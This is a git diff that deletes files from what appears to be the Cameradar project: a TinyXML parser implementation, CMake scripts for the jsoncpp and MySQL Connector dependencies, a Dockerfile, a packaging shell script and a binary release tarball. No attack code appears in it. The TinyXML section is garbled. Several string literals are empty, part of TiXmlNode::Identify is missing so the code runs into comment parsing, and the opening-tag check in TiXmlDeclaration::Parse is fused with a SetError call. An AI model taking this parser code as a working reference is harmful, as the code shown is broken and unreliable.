- -class TiXmlParsingData { - friend class TiXmlDocument; - -public: - void Stamp(const char* now, TiXmlEncoding encoding); - - const TiXmlCursor& - Cursor() const { - return cursor; - } - -private: - // Only used by the document! - TiXmlParsingData(const char* start, int _tabsize, int row, int col) { - assert(start); - stamp = start; - tabsize = _tabsize; - cursor.row = row; - cursor.col = col; - } - - TiXmlCursor cursor; - const char* stamp; - int tabsize; -}; - -void -TiXmlParsingData::Stamp(const char* now, TiXmlEncoding encoding) { - assert(now); - - // Do nothing if the tabsize is 0. - if (tabsize < 1) { return; } - - // Get the current row, column. - int row = cursor.row; - int col = cursor.col; - const char* p = stamp; - assert(p); - - while (p < now) { - // Treat p as unsigned, so we have a happy compiler. - const unsigned char* pU = (const unsigned char*)p; - - // Code contributed by Fletcher Dunn: (modified by lee) - switch (*pU) { - case 0: - // We *should* never get here, but in case we do, don't - // advance past the terminating null character, ever - return; - - case '\r': - // bump down to the next line - ++row; - col = 0; - // Eat the character - ++p; - - // Check for \r\n sequence, and treat this as a single character - if (*p == '\n') { ++p; } - break; - - case '\n': - // bump down to the next line - ++row; - col = 0; - - // Eat the character - ++p; - - // Check for \n\r sequence, and treat this as a single - // character. (Yes, this bizarre thing does occur still - // on some arcane platforms...) - if (*p == '\r') { ++p; } - break; - - case '\t': - // Eat the character - ++p; - - // Skip to next tab stop - col = (col / tabsize + 1) * tabsize; - break; - - case TIXML_UTF_LEAD_0: - if (encoding == TIXML_ENCODING_UTF8) { - if (*(p + 1) && *(p + 2)) { - // In these cases, don't advance the column. These are - // 0-width spaces. - if (*(pU + 1) == TIXML_UTF_LEAD_1 && *(pU + 2) == TIXML_UTF_LEAD_2) - p += 3; - else if (*(pU + 1) == 0xbfU && *(pU + 2) == 0xbeU) - p += 3; - else if (*(pU + 1) == 0xbfU && *(pU + 2) == 0xbfU) - p += 3; - else { - p += 3; - ++col; - } // A normal character. - } - } else { - ++p; - ++col; - } - break; - - default: - if (encoding == TIXML_ENCODING_UTF8) { - // Eat the 1 to 4 byte utf8 character. - int step = TiXmlBase::utf8ByteTable[*((const unsigned char*)p)]; - if (step == 0) step = 1; // Error case from bad encoding, but handle gracefully. - p += step; - - // Just advance one column, of course. - ++col; - } else { - ++p; - ++col; - } - break; - } - } - cursor.row = row; - cursor.col = col; - assert(cursor.row >= -1); - assert(cursor.col >= -1); - stamp = p; - assert(stamp); -} - -const char* -TiXmlBase::SkipWhiteSpace(const char* p, TiXmlEncoding encoding) { - if (!p || !*p) { return 0; } - if (encoding == TIXML_ENCODING_UTF8) { - while (*p) { - const unsigned char* pU = (const unsigned char*)p; - - // Skip the stupid Microsoft UTF-8 Byte order marks - if (*(pU + 0) == TIXML_UTF_LEAD_0 && *(pU + 1) == TIXML_UTF_LEAD_1 && - *(pU + 2) == TIXML_UTF_LEAD_2) { - p += 3; - continue; - } else if (*(pU + 0) == TIXML_UTF_LEAD_0 && *(pU + 1) == 0xbfU && *(pU + 2) == 0xbeU) { - p += 3; - continue; - } else if (*(pU + 0) == TIXML_UTF_LEAD_0 && *(pU + 1) == 0xbfU && *(pU + 2) == 0xbfU) { - p += 3; - continue; - } - - if (IsWhiteSpace(*p)) // Still using old rules for white space. - ++p; - else - break; - } - } else { - while (*p && IsWhiteSpace(*p)) ++p; - } - - return p; -} - -#ifdef TIXML_USE_STL -/*static*/ bool -TiXmlBase::StreamWhiteSpace(std::istream* in, TIXML_STRING* tag) { - for (;;) { - if (!in->good()) return false; - - int c = in->peek(); - // At this scope, we can't get to a document. So fail silently. - if (!IsWhiteSpace(c) || c <= 0) return true; - - *tag += (char)in->get(); - } -} - -/*static*/ bool -TiXmlBase::StreamTo(std::istream* in, int character, TIXML_STRING* tag) { - // assert( character > 0 && character < 128 ); // else it won't work in utf-8 - while (in->good()) { - int c = in->peek(); - if (c == character) return true; - if (c <= 0) // Silent failure: can't get document at this scope - return false; - - in->get(); - *tag += (char)c; - } - return false; -} -#endif - -// One of TinyXML's more performance demanding functions. Try to keep the memory overhead down. The -// "assign" optimization removes over 10% of the execution time. -// -const char* -TiXmlBase::ReadName(const char* p, TIXML_STRING* name, TiXmlEncoding encoding) { - // Oddly, not supported on some comilers, - // name->clear(); - // So use this: - *name = ""; - assert(p); - - // Names start with letters or underscores. - // Of course, in unicode, tinyxml has no idea what a letter *is*. The - // algorithm is generous. - // - // After that, they can be letters, underscores, numbers, - // hyphens, or colons. (Colons are valid ony for namespaces, - // but tinyxml can't tell namespaces from names.) - if (p && *p && (IsAlpha((unsigned char)*p, encoding) || *p == '_')) { - const char* start = p; - while (p && *p && (IsAlphaNum((unsigned char)*p, encoding) || *p == '_' || *p == '-' || - *p == '.' || *p == ':')) { - //(*name) += *p; // expensive - ++p; - } - if (p - start > 0) { name->assign(start, p - start); } - return p; - } - return 0; -} - -const char* -TiXmlBase::GetEntity(const char* p, char* value, int* length, TiXmlEncoding encoding) { - // Presume an entity, and pull it out. - TIXML_STRING ent; - int i; - *length = 0; - - if (*(p + 1) && *(p + 1) == '#' && *(p + 2)) { - unsigned long ucs = 0; - ptrdiff_t delta = 0; - unsigned mult = 1; - - if (*(p + 2) == 'x') { - // Hexadecimal. - if (!*(p + 3)) return 0; - - const char* q = p + 3; - q = strchr(q, ';'); - - if (!q || !*q) return 0; - - delta = q - p; - --q; - - while (*q != 'x') { - if (*q >= '0' && *q <= '9') - ucs += mult * (*q - '0'); - else if (*q >= 'a' && *q <= 'f') - ucs += mult * (*q - 'a' + 10); - else if (*q >= 'A' && *q <= 'F') - ucs += mult * (*q - 'A' + 10); - else - return 0; - mult *= 16; - --q; - } - } else { - // Decimal. - if (!*(p + 2)) return 0; - - const char* q = p + 2; - q = strchr(q, ';'); - - if (!q || !*q) return 0; - - delta = q - p; - --q; - - while (*q != '#') { - if (*q >= '0' && *q <= '9') - ucs += mult * (*q - '0'); - else - return 0; - mult *= 10; - --q; - } - } - if (encoding == TIXML_ENCODING_UTF8) { - // convert the UCS to UTF-8 - ConvertUTF32ToUTF8(ucs, value, length); - } else { - *value = (char)ucs; - *length = 1; - } - return p + delta + 1; - } - - // Now try to match it. - for (i = 0; i < NUM_ENTITY; ++i) { - if (strncmp(entity[i].str, p, entity[i].strLength) == 0) { - assert(strlen(entity[i].str) == entity[i].strLength); - *value = entity[i].chr; - *length = 1; - return (p + entity[i].strLength); - } - } - - // So it wasn't an entity, its unrecognized, or something like that. - *value = *p; // Don't put back the last one, since we return it! - //*length = 1; // Leave unrecognized entities - this doesn't really work. - // Just writes strange XML. - return p + 1; -} - -bool -TiXmlBase::StringEqual(const char* p, const char* tag, bool ignoreCase, TiXmlEncoding encoding) { - assert(p); - assert(tag); - if (!p || !*p) { - assert(0); - return false; - } - - const char* q = p; - - if (ignoreCase) { - while (*q && *tag && ToLower(*q, encoding) == ToLower(*tag, encoding)) { - ++q; - ++tag; - } - - if (*tag == 0) return true; - } else { - while (*q && *tag && *q == *tag) { - ++q; - ++tag; - } - - if (*tag == 0) // Have we found the end of the tag, and everything equal? - return true; - } - return false; -} - -const char* -TiXmlBase::ReadText(const char* p, - TIXML_STRING* text, - bool trimWhiteSpace, - const char* endTag, - bool caseInsensitive, - TiXmlEncoding encoding) { - *text = ""; - if (!trimWhiteSpace // certain tags always keep whitespace - || - !condenseWhiteSpace) // if true, whitespace is always kept - { - // Keep all the white space. - while (p && *p && !StringEqual(p, endTag, caseInsensitive, encoding)) { - int len; - char cArr[4] = { 0, 0, 0, 0 }; - p = GetChar(p, cArr, &len, encoding); - text->append(cArr, len); - } - } else { - bool whitespace = false; - - // Remove leading white space: - p = SkipWhiteSpace(p, encoding); - while (p && *p && !StringEqual(p, endTag, caseInsensitive, encoding)) { - if (*p == '\r' || *p == '\n') { - whitespace = true; - ++p; - } else if (IsWhiteSpace(*p)) { - whitespace = true; - ++p; - } else { - // If we've found whitespace, add it before the - // new character. Any whitespace just becomes a space. - if (whitespace) { - (*text) += ' '; - whitespace = false; - } - int len; - char cArr[4] = { 0, 0, 0, 0 }; - p = GetChar(p, cArr, &len, encoding); - if (len == 1) - (*text) += cArr[0]; // more efficient - else - text->append(cArr, len); - } - } - } - if (p && *p) p += strlen(endTag); - return (p && *p) ? p : 0; -} - -#ifdef TIXML_USE_STL - -void -TiXmlDocument::StreamIn(std::istream* in, TIXML_STRING* tag) { - // The basic issue with a document is that we don't know what we're - // streaming. Read something presumed to be a tag (and hope), then - // identify it, and call the appropriate stream method on the tag. - // - // This "pre-streaming" will never read the closing ">" so the - // sub-tag can orient itself. - - if (!StreamTo(in, '<', tag)) { - SetError(TIXML_ERROR_PARSING_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN); - return; - } - - while (in->good()) { - int tagIndex = (int)tag->length(); - while (in->good() && in->peek() != '>') { - int c = in->get(); - if (c <= 0) { - SetError(TIXML_ERROR_EMBEDDED_NULL, 0, 0, TIXML_ENCODING_UNKNOWN); - break; - } - (*tag) += (char)c; - } - - if (in->good()) { - // We now have something we presume to be a node of - // some sort. Identify it, and call the node to - // continue streaming. - TiXmlNode* node = Identify(tag->c_str() + tagIndex, TIXML_DEFAULT_ENCODING); - - if (node) { - node->StreamIn(in, tag); - bool isElement = node->ToElement() != 0; - delete node; - node = 0; - - // If this is the root element, we're done. Parsing will be - // done by the >> operator. - if (isElement) { return; } - } else { - SetError(TIXML_ERROR, 0, 0, TIXML_ENCODING_UNKNOWN); - return; - } - } - } - // We should have returned sooner. - SetError(TIXML_ERROR, 0, 0, TIXML_ENCODING_UNKNOWN); -} - -#endif - -const char* -TiXmlDocument::Parse(const char* p, TiXmlParsingData* prevData, TiXmlEncoding encoding) { - ClearError(); - - // Parse away, at the document level. Since a document - // contains nothing but other tags, most of what happens - // here is skipping white space. - if (!p || !*p) { - SetError(TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN); - return 0; - } - - // Note that, for a document, this needs to come - // before the while space skip, so that parsing - // starts from the pointer we are given. - location.Clear(); - if (prevData) { - location.row = prevData->cursor.row; - location.col = prevData->cursor.col; - } else { - location.row = 0; - location.col = 0; - } - TiXmlParsingData data(p, TabSize(), location.row, location.col); - location = data.Cursor(); - - if (encoding == TIXML_ENCODING_UNKNOWN) { - // Check for the Microsoft UTF-8 lead bytes. - const unsigned char* pU = (const unsigned char*)p; - if (*(pU + 0) && *(pU + 0) == TIXML_UTF_LEAD_0 && *(pU + 1) && - *(pU + 1) == TIXML_UTF_LEAD_1 && *(pU + 2) && *(pU + 2) == TIXML_UTF_LEAD_2) { - encoding = TIXML_ENCODING_UTF8; - useMicrosoftBOM = true; - } - } - - p = SkipWhiteSpace(p, encoding); - if (!p) { - SetError(TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN); - return 0; - } - - while (p && *p) { - TiXmlNode* node = Identify(p, encoding); - if (node) { - p = node->Parse(p, &data, encoding); - LinkEndChild(node); - } else { - break; - } - - // Did we get encoding info? - if (encoding == TIXML_ENCODING_UNKNOWN && node->ToDeclaration()) { - TiXmlDeclaration* dec = node->ToDeclaration(); - const char* enc = dec->Encoding(); - assert(enc); - - if (*enc == 0) - encoding = TIXML_ENCODING_UTF8; - else if (StringEqual(enc, "UTF-8", true, TIXML_ENCODING_UNKNOWN)) - encoding = TIXML_ENCODING_UTF8; - else if (StringEqual(enc, "UTF8", true, TIXML_ENCODING_UNKNOWN)) - encoding = TIXML_ENCODING_UTF8; // incorrect, but be nice - else - encoding = TIXML_ENCODING_LEGACY; - } - - p = SkipWhiteSpace(p, encoding); - } - - // Was this empty? - if (!firstChild) { - SetError(TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, encoding); - return 0; - } - - // All is well. - return p; -} - -void -TiXmlDocument::SetError(int err, - const char* pError, - TiXmlParsingData* data, - TiXmlEncoding encoding) { - // The first error in a chain is more accurate - don't set again! - if (error) return; - - assert(err > 0 && err < TIXML_ERROR_STRING_COUNT); - error = true; - errorId = err; - errorDesc = errorString[errorId]; - - errorLocation.Clear(); - if (pError && data) { - data->Stamp(pError, encoding); - errorLocation = data->Cursor(); - } -} - -TiXmlNode* -TiXmlNode::Identify(const char* p, TiXmlEncoding encoding) { - TiXmlNode* returnNode = 0; - - p = SkipWhiteSpace(p, encoding); - if (!p || !*p || *p != '<') { return 0; } - - p = SkipWhiteSpace(p, encoding); - - if (!p || !*p) { return 0; } - - // What is this thing? - // - Elements start with a letter or underscore, but xml is reserved. - // - Comments: "; - - if (!StringEqual(p, startTag, false, encoding)) { - if (document) document->SetError(TIXML_ERROR_PARSING_COMMENT, p, data, encoding); - return 0; - } - p += strlen(startTag); - - // [ 1475201 ] TinyXML parses entities in comments - // Oops - ReadText doesn't work, because we don't want to parse the entities. - // p = ReadText( p, &value, false, endTag, false, encoding ); - // - // from the XML spec: - /* - [Definition: Comments may appear anywhere in a document outside other markup; in addition, - they may appear within the document type declaration at places allowed by the - grammar. - They are not part of the document's character data; an XML processor - MAY, but need not, - make it possible for an application to retrieve the text of comments. - For compatibility, - the string "--" (double-hyphen) MUST NOT occur within comments.] - Parameter entity - references MUST NOT be recognized within comments. - - An example of a comment: - - - */ - - value = ""; - // Keep all the white space. - while (p && *p && !StringEqual(p, endTag, false, encoding)) { - value.append(p, 1); - ++p; - } - if (p && *p) p += strlen(endTag); - - return p; -} - -const char* -TiXmlAttribute::Parse(const char* p, TiXmlParsingData* data, TiXmlEncoding encoding) { - p = SkipWhiteSpace(p, encoding); - if (!p || !*p) return 0; - - if (data) { - data->Stamp(p, encoding); - location = data->Cursor(); - } - // Read the name, the '=' and the value. - const char* pErr = p; - p = ReadName(p, &name, encoding); - if (!p || !*p) { - if (document) document->SetError(TIXML_ERROR_READING_ATTRIBUTES, pErr, data, encoding); - return 0; - } - p = SkipWhiteSpace(p, encoding); - if (!p || !*p || *p != '=') { - if (document) document->SetError(TIXML_ERROR_READING_ATTRIBUTES, p, data, encoding); - return 0; - } - - ++p; // skip '=' - p = SkipWhiteSpace(p, encoding); - if (!p || !*p) { - if (document) document->SetError(TIXML_ERROR_READING_ATTRIBUTES, p, data, encoding); - return 0; - } - - const char* end; - const char SINGLE_QUOTE = '\''; - const char DOUBLE_QUOTE = '\"'; - - if (*p == SINGLE_QUOTE) { - ++p; - end = "\'"; // single quote in string - p = ReadText(p, &value, false, end, false, encoding); - } else if (*p == DOUBLE_QUOTE) { - ++p; - end = "\""; // double quote in string - p = ReadText(p, &value, false, end, false, encoding); - } else { - // All attribute values should be in single or double quotes. - // But this is such a common error that the parser will try - // its best, even without them. - value = ""; - while (p && *p // existence - && - !IsWhiteSpace(*p) // whitespace - && - *p != '/' && *p != '>') // tag end - { - if (*p == SINGLE_QUOTE || *p == DOUBLE_QUOTE) { - // [ 1451649 ] Attribute values with trailing quotes not handled correctly - // We did not have an opening quote but seem to have a - // closing one. Give up and throw an error. - if (document) document->SetError(TIXML_ERROR_READING_ATTRIBUTES, p, data, encoding); - return 0; - } - value += *p; - ++p; - } - } - return p; -} - -#ifdef TIXML_USE_STL -void -TiXmlText::StreamIn(std::istream* in, TIXML_STRING* tag) { - while (in->good()) { - int c = in->peek(); - if (!cdata && (c == '<')) { return; } - if (c <= 0) { - TiXmlDocument* document = GetDocument(); - if (document) - document->SetError(TIXML_ERROR_EMBEDDED_NULL, 0, 0, TIXML_ENCODING_UNKNOWN); - return; - } - - (*tag) += (char)c; - in->get(); // "commits" the peek made above - - if (cdata && c == '>' && tag->size() >= 3) { - size_t len = tag->size(); - if ((*tag)[len - 2] == ']' && (*tag)[len - 3] == ']') { - // terminator of cdata. - return; - } - } - } -} -#endif - -const char* -TiXmlText::Parse(const char* p, TiXmlParsingData* data, TiXmlEncoding encoding) { - value = ""; - TiXmlDocument* document = GetDocument(); - - if (data) { - data->Stamp(p, encoding); - location = data->Cursor(); - } - - const char* const startTag = ""; - - if (cdata || StringEqual(p, startTag, false, encoding)) { - cdata = true; - - if (!StringEqual(p, startTag, false, encoding)) { - if (document) document->SetError(TIXML_ERROR_PARSING_CDATA, p, data, encoding); - return 0; - } - p += strlen(startTag); - - // Keep all the white space, ignore the encoding, etc. - while (p && *p && !StringEqual(p, endTag, false, encoding)) { - value += *p; - ++p; - } - - TIXML_STRING dummy; - p = ReadText(p, &dummy, false, endTag, false, encoding); - return p; - } else { - bool ignoreWhite = true; - - const char* end = "<"; - p = ReadText(p, &value, ignoreWhite, end, false, encoding); - if (p && *p) return p - 1; // don't truncate the '<' - return 0; - } -} - -#ifdef TIXML_USE_STL -void -TiXmlDeclaration::StreamIn(std::istream* in, TIXML_STRING* tag) { - while (in->good()) { - int c = in->get(); - if (c <= 0) { - TiXmlDocument* document = GetDocument(); - if (document) - document->SetError(TIXML_ERROR_EMBEDDED_NULL, 0, 0, TIXML_ENCODING_UNKNOWN); - return; - } - (*tag) += (char)c; - - if (c == '>') { - // All is well. - return; - } - } -} -#endif - -const char* -TiXmlDeclaration::Parse(const char* p, TiXmlParsingData* data, TiXmlEncoding _encoding) { - p = SkipWhiteSpace(p, _encoding); - // Find the beginning, find the end, and look for - // the stuff in-between. - TiXmlDocument* document = GetDocument(); - if (!p || !*p || !StringEqual(p, "SetError(TIXML_ERROR_PARSING_DECLARATION, 0, 0, _encoding); - return 0; - } - if (data) { - data->Stamp(p, _encoding); - location = data->Cursor(); - } - p += 5; - - version = ""; - encoding = ""; - standalone = ""; - - while (p && *p) { - if (*p == '>') { - ++p; - return p; - } - - p = SkipWhiteSpace(p, _encoding); - if (StringEqual(p, "version", true, _encoding)) { - TiXmlAttribute attrib; - p = attrib.Parse(p, data, _encoding); - version = attrib.Value(); - } else if (StringEqual(p, "encoding", true, _encoding)) { - TiXmlAttribute attrib; - p = attrib.Parse(p, data, _encoding); - encoding = attrib.Value(); - } else if (StringEqual(p, "standalone", true, _encoding)) { - TiXmlAttribute attrib; - p = attrib.Parse(p, data, _encoding); - standalone = attrib.Value(); - } else { - // Read over whatever it is. - while (p && *p && *p != '>' && !IsWhiteSpace(*p)) ++p; - } - } - return 0; -} - -bool -TiXmlText::Blank() const { - for (unsigned i = 0; i < value.length(); i++) - if (!IsWhiteSpace(value[i])) return false; - return true; -} diff --git a/cmake/find_sources.cmake b/cmake/find_sources.cmake deleted file mode 100644 index 900a3da..0000000 --- a/cmake/find_sources.cmake +++ /dev/null @@ -1,28 +0,0 @@ -## Copyright 2016 Etix Labs -## -## Licensed under the Apache License, Version 2.0 (the "License"); -## you may not use this file except in compliance with the License. -## You may obtain a copy of the License at -## -## http://www.apache.org/licenses/LICENSE-2.0 -## -## Unless required by applicable law or agreed to in writing, software -## distributed under the License is distributed on an "AS IS" BASIS, -## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -## See the License for the specific language governing permissions and -## limitations under the License. - -# function to retrieve files sources inside a list of folders -function(find_sources DIRS) - set(_headers "") - set(_srcs "") - foreach (dir ${ARGV}) - file (GLOB h_${dir} "${dir}/*.h") - file (GLOB s_${dir} "${dir}/*.c*") - source_group (${dir} FILES ${s_${dir}} ${h_${dir}}) - set (_srcs ${_srcs} ${s_${dir}}) - set (_headers ${_headers} ${h_${dir}}) - endforeach () - set (SOURCES ${_srcs} PARENT_SCOPE) - set (HEADERS ${_headers} PARENT_SCOPE) -endfunction() diff --git a/cmake/jsoncpp.cmake b/cmake/jsoncpp.cmake deleted file mode 100644 index 12ddf8b..0000000 --- a/cmake/jsoncpp.cmake +++ /dev/null @@ -1,47 +0,0 @@ -## Copyright 2016 Etix Labs -## -## Licensed under the Apache License, Version 2.0 (the "License"); -## you may not use this file except in compliance with the License. -## You may obtain a copy of the License at -## -## http://www.apache.org/licenses/LICENSE-2.0 -## -## Unless required by applicable law or agreed to in writing, software -## distributed under the License is distributed on an "AS IS" BASIS, -## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -## See the License for the specific language governing permissions and -## limitations under the License. - -cmake_minimum_required(VERSION 2.8.8) -include(ExternalProject) - -message(STATUS "Configuring deps.jsoncpp") - -set(JSONCPP_DIR jsoncpp) -set(JSONCPP_PATH ${DEPS_DIR}/${JSONCPP_DIR}) - -ExternalProject_Add( - deps.jsoncpp - PREFIX ${JSONCPP_PATH} - GIT_REPOSITORY https://github.com/open-source-parsers/jsoncpp.git - TIMEOUT 10 - CONFIGURE_COMMAND ${CMAKE_COMMAND} "-DCMAKE_INSTALL_PREFIX=${JSONCPP_PATH}" -DBUILD_TYPE=Release -DBUILD_STATIC_LIBS=OFF -DBUILD_SHARED_LIBS=ON -DJSONCPP_WITH_TESTS=OFF -DJSONCPP_WITH_POST_BUILD_UNITTEST=OFF - BUILD_IN_SOURCE ON - UPDATE_COMMAND "" - BUILD_COMMAND ${CMAKE_MAKE_PROGRAM} - INSTALL_COMMAND "" - LOG_DOWNLOAD ON - LOG_UPDATE ON - LOG_CONFIGURE ON - LOG_BUILD ON -) - -ExternalProject_Get_Property(deps.jsoncpp SOURCE_DIR) - -set (JSONCPP_INCLUDE_DIR "${SOURCE_DIR}/include" PARENT_SCOPE) -set (JSONCPP_LIBRARY_DIR "${SOURCE_DIR}/src/lib_json") -set (JSONCPP_LIBRARY_DIR ${JSONCPP_LIBRARY_DIR} PARENT_SCOPE) - -file(GLOB JSONCPP_INSTALL_DEPENDENCIES "${JSONCPP_LIBRARY_DIR}/${CMAKE_SHARED_LIBRARY_PREFIX}jsoncpp${CMAKE_SHARED_LIBRARY_SUFFIX}*") -list (APPEND CAMERADAR_INSTALL_DEPENDENCIES ${JSONCPP_INSTALL_DEPENDENCIES}) -set(CAMERADAR_INSTALL_DEPENDENCIES ${CAMERADAR_INSTALL_DEPENDENCIES} PARENT_SCOPE) diff --git a/cmake/mysql_connector.cmake b/cmake/mysql_connector.cmake deleted file mode 100644 index 8240520..0000000 --- a/cmake/mysql_connector.cmake +++ /dev/null @@ -1,50 +0,0 @@ -## Copyright 2016 Etix Labs -## -## Licensed under the Apache License, Version 2.0 (the "License"); -## you may not use this file except in compliance with the License. -## You may obtain a copy of the License at -## -## http://www.apache.org/licenses/LICENSE-2.0 -## -## Unless required by applicable law or agreed to in writing, software -## distributed under the License is distributed on an "AS IS" BASIS, -## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -## See the License for the specific language governing permissions and -## limitations under the License. - -# MySQL Connector dependency -message(STATUS "Configuring deps.mysqlconnector") - -set (MYSQL_CONNECTOR_VERSION 1.1.6) -set (MD5 9e49dcfc1408b18b3d3ca02781ff7efb) -set (MYSQL_CONNECTOR_DIR mysql-connector) -set (MYSQL_CONNECTOR_PATH ${DEPS_DIR}/${MYSQL_CONNECTOR_DIR}) - -set (BOOST_ROOT_DIR ${DEPS_DIR}/boost/src/deps.boost) - -# include(ExternalProject) -ExternalProject_Add( - deps.mysql_connector - PREFIX ${MYSQL_CONNECTOR_PATH} - URL http://dev.mysql.com/get/Downloads/Connector-C++/mysql-connector-c++-${MYSQL_CONNECTOR_VERSION}.tar.gz - URL_HASH MD5=${MD5} - CONFIGURE_COMMAND ${CMAKE_COMMAND} -DBOOST_ROOT=${BOOST_ROOT_DIR} "-DCMAKE_INSTALL_PREFIX=${MYSQL_CONNECTOR_PATH}" -DBUILD_TYPE=Release -DMYSQL_CXXFLAGS=-fexceptions - BUILD_IN_SOURCE ON - UPDATE_COMMAND "" - BUILD_COMMAND ${CMAKE_MAKE_PROGRAM} - INSTALL_COMMAND ${CMAKE_MAKE_PROGRAM} install - LOG_DOWNLOAD ON - LOG_UPDATE ON - LOG_CONFIGURE ON - LOG_BUILD ON -) - -set (MYSQL_CONNECTOR_INCLUDE_DIR "${MYSQL_CONNECTOR_PATH}/include" PARENT_SCOPE) -set (MYSQL_CONNECTOR_LIBRARY_DIR "${MYSQL_CONNECTOR_PATH}/lib") - -set (MYSQL_CONNECTOR_LIBRARY_DIR ${MYSQL_CONNECTOR_LIBRARY_DIR} PARENT_SCOPE) - -# list all the mysql libraries -file(GLOB MYSQL_CONNECTOR_INSTALL_DEPENDENCIES "${MYSQL_CONNECTOR_LIBRARY_DIR}/${CMAKE_SHARED_LIBRARY_PREFIX}mysqlcppconn${CMAKE_SHARED_LIBRARY_SUFFIX}*") -list (APPEND CAMERADAR_INSTALL_DEPENDENCIES ${MYSQL_CONNECTOR_INSTALL_DEPENDENCIES}) -set(CAMERADAR_INSTALL_DEPENDENCIES ${CAMERADAR_INSTALL_DEPENDENCIES} PARENT_SCOPE) diff --git a/deployment/Dockerfile b/deployment/Dockerfile deleted file mode 100644 index f0359de..0000000 --- a/deployment/Dockerfile +++ /dev/null @@ -1,27 +0,0 @@ -FROM ubuntu:16.04 - -MAINTAINER brendan.leglaunec@etixgroup.com - -ENV LD_LIBRARY_PATH="/cameradar/libraries" - -RUN apt-get update && apt-get install -y \ - nmap \ - ffmpeg \ - libboost-all-dev \ - libgstreamer1.0-dev \ - gstreamer1.0-plugins-base \ - gstreamer1.0-plugins-good \ - libcurl4-openssl-dev \ - libmysqlclient20 \ - mysql-client - -ADD cameradar_*_Release_Linux.tar.gz / -RUN mv cameradar_*_Release_Linux cameradar - -COPY conf /cameradar/conf - -COPY docker-entrypoint.sh /usr/local/bin/ -RUN ln -s /usr/local/bin/docker-entrypoint.sh /entrypoint.sh -ENTRYPOINT ["docker-entrypoint.sh"] - -CMD ["/cameradar/bin/cameradar", "-c", "/cameradar/conf/cameradar.conf.json"] diff --git a/deployment/build_last_package.sh b/deployment/build_last_package.sh deleted file mode 100755 index 12434c2..0000000 --- a/deployment/build_last_package.sh +++ /dev/null @@ -1,55 +0,0 @@ -#!/usr/bin/env bash - -ESC_SEQ="\x1b[" -COL_RESET=$ESC_SEQ"39;49;00m" -COL_RED=$ESC_SEQ"31;01m" -COL_GREEN=$ESC_SEQ"32;01m" -COL_YELLOW=$ESC_SEQ"33;01m" - -echo -e $COL_YELLOW"Deleting old package ... "$COL_RESET -rm -f cameradar_*_${1:-"Release"}_Linux.tar.gz -echo -e $COL_GREEN"OK!"$COL_RESET - -echo -e $COL_YELLOW"Creating package ... "$COL_RESET - -cd .. -ret=$? -if [ "$ret" -ne "0" ]; then - echo -e $COL_RED"KO!"$COL_RESET; - exit 1; -fi - -mkdir build - -cd build -ret=$? -if [ "$ret" -ne "0" ]; then - echo -e $COL_RED"KO!"$COL_RESET; - exit 1; -fi - -rm -f cameradar_*_${1:-"Release"}_Linux.tar.gz - -cmake .. -DCMAKE_BUILD_TYPE=${1:-"Release"} -ret=$? -if [ "$ret" -ne "0" ]; then - echo -e $COL_RED"KO!"$COL_RESET; - exit 1; -fi - -make package -ret=$? -if [ "$ret" -ne "0" ]; then - echo -e $COL_RED"KO!"$COL_RESET; - exit 1; -fi - -cp cameradar_*_${1:-"Release"}_Linux.tar.gz ../deployment - -cd ../deployment -ret=$? -if [ "$ret" -ne "0" ]; then - echo -e $COL_RED"KO!"$COL_RESET; - exit 1; -fi -echo -e $COL_GREEN"OK!"$COL_RESET diff --git a/deployment/cameradar_1.1.4_Release_Linux.tar.gz b/deployment/cameradar_1.1.4_Release_Linux.tar.gz deleted file mode 100644 index 380e6af9832899fec02d47b387e067ad6d82f7ea..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 807331 zcmZs?cQo7YA3ofgMeVJKRjR6}JyWBI*&3y&QEIfcl~{=_wg$C|YK^KItyv?eSglo~ z_KLm5h#=$1_xXL!`Tg-ce0@;Hnu~!x7*F%7; zUcLQQ;GmUy@|~~k;WywGkd!uuXhKQ(v*Zd9iS2|0-PN{$q)+zhMcT@*?1_L2*70_(oXAP#`*+Z@g%u(mRvbaH)o|n;anAIY?P}cMvaFSZLP$^O|y>!~*DiZu= zbKW`ByVc5HvHJPbRSKMnTXXf^jgIO)eUedrz8AAYYt{Nt1({^IIcfd_`Zm%EKl0xC z5&`B{yo0b=rfRgBd&>yl&6}*CUk4r>@i3g5f8~6wH*hdXvz{$9Yp^P6oCQ%cV`B%t zZ8_{`Zq05Ac71g&pPCxvmTMGq9vf#KR zun-<5o7~g(2Jb z8u)`cJ!-Ck1?vSq&nZpzy)~YlNeiB<9mJKc*rQnB($Y7-=QH-SezdbwLgSO+luwdQ zAJY#q3Rab>wB1p?FE>8W4sttp4B{NIh3e|@Ah5R_v zSm4iMeJw0C5T0ZB`0*7x8lKS;o-C5W2#=aQy#H8|mVf*S@hlS!H+TB;)SkJ<)!+$V zsjKGKU!_%aj7?sc#mmeb{}Yp98!zJ2~(t8PMh{AYG$D9j)B`;Xz2(V@*)k;Pt)+XGOjqKBg7+u!yL<>e9{RS70z z0v=hrW4>QStKqM*zP6@?*4K!VCTPqI z{yrn~(HN`9dU~eeScb^@yHhz(rG7|ZNrOn0@HRW#Uf6>il;3s00bdl__Jl89$MAy= zyRTlr8#C%NN}h{^8<^3AHRhMJi|`3-3xFojY3ZljprVX`_ebKC+iDF@j+8aokbe`t0c^jhCWZ|qN_ zqb`9BeqIAVCfI!@rF+Y>4y}Rq=9C2#~9#&a0{(5FF591KxaZ9wp)Zx za9b9xA+}8iHvp;Vj`_k7qT9FNzdH#aFrMGu^xf3>5kc%YB(B6?q<|Vj7hENGC3$(8OW&B-lt4RbS^ zswTM{fT<2?+)!|D)<9K~9qI>1O~%uu%6-W81)@kD_xtq{6(iW=eIMMdBQy|g)KQjE zP_#pw?fW}5i)encz4xc*<<~xPhkIM!F}ZcXfRL}tTiz`UVuRFN8qx+lEniab zR>31SKmH8q$Tl-u+zS7t@)8r_F;ui4T0Av)QYqHNI~{ycm^@UoG`G_W4_pER<{^QT zsHKe#pR(D~skAf^ds~mT`F)+K`>Y$)QcA0=$_J-M##2=4O&e<{Nr#elEWVpOgUsRb 